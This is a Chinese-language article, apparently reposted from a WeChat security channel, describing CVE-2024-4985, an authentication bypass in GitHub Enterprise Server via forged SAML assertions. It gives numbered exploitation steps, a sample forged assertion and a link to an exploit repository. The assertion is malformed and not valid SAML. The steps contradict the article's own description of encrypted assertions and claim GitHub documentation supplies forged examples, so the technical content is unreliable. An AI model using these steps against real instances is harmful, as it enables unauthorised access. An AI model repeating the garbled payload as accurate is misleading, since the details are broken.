GitHub Enterprise Server (GHES) 中的身份验证绕过漏洞允许未经授权的攻击者无需预先身份验证即可访问 GHES 实例。此漏洞影响 3.13.0 之前的所有 GHES 版本。
技术漏洞详情:
该漏洞利用了 GHES 处理加密 SAML 声明的方式中的漏洞。攻击者可以创建包含正确用户信息的虚假 SAML 声明。当 GHES 处理虚假 SAML 声明时,它将无法正确验证其签名,从而使攻击者能够访问 GHES 实例。
观点:
-
打开你的渗透测试器。
-
创建 Web 连接请求。
-
选择“GET”请求类型。
-
输入您的 GHES URL。
-
向您的请求添加一个虚假的 SAML 断言参数。您可以在 GitHub 文档中找到虚假的 SAML 断言参数的示例。
-
检查 GHES 响应。
-
如果响应包含 HTTP 状态代码 200,则表示已成功使用伪 SAML 断言参数绕过身份验证。
-
如果响应包含不同的 HTTP 状态代码,则表示绕过身份验证失败。
注意:我将使用虚拟 URL(https://your-ghes-instance.com)来合成一个示例。请务必将其替换为您的真实 GHES URL。在此示例中,我们假设您的 GHES URL 为https://your-ghes-instance.com。我们将使用如下所示的伪 SAML 断言参数:
<Assertion ID="1234567890" IssueInstant="2024-05-21T06:40:00Z" Subject="CN=John Doe,OU=Users,O=Acme Corporation,C=US">
<Audience>https://your-ghes-instance.com</Audience>
<SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:assertion:method:bearer">
<SubjectConfirmationData>
<NameID Type="urn:oasis:names:tc:SAML:2.0:nameid-type:persistent" Format="urn:oasis:names:tc:SAML:2.0:nameid-format:basic">jdoe</NameID>
</SubjectConfirmationData>
</SubjectConfirmation>
<AuthnStatement AuthnInstant="2024-05-21T06:40:00Z" AuthnContextClassRef="urn:oasis:names:tc:SAML:2.0:assertion:AuthnContextClassRef:unspecified">
<AuthnMethod>urn:oasis:names:tc:SAML:2.0:methodName:password</AuthnMethod>
</AuthnStatement>
<AttributeStatement>
<Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.10">Acme Corporation</Attribute>
<Attribute Name="urn:oid:1.3.6.1.4.1.11.2.17.19.3.4.0.4">[email protected]</Attribute>
</AttributeStatement>
</Assertion>
https://github.com/absholi7ly/Bypass-authentication-GitHub-Enterprise-Server
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):绕过身份验证-GitHub-Enterprise-Server CVE-2024-4985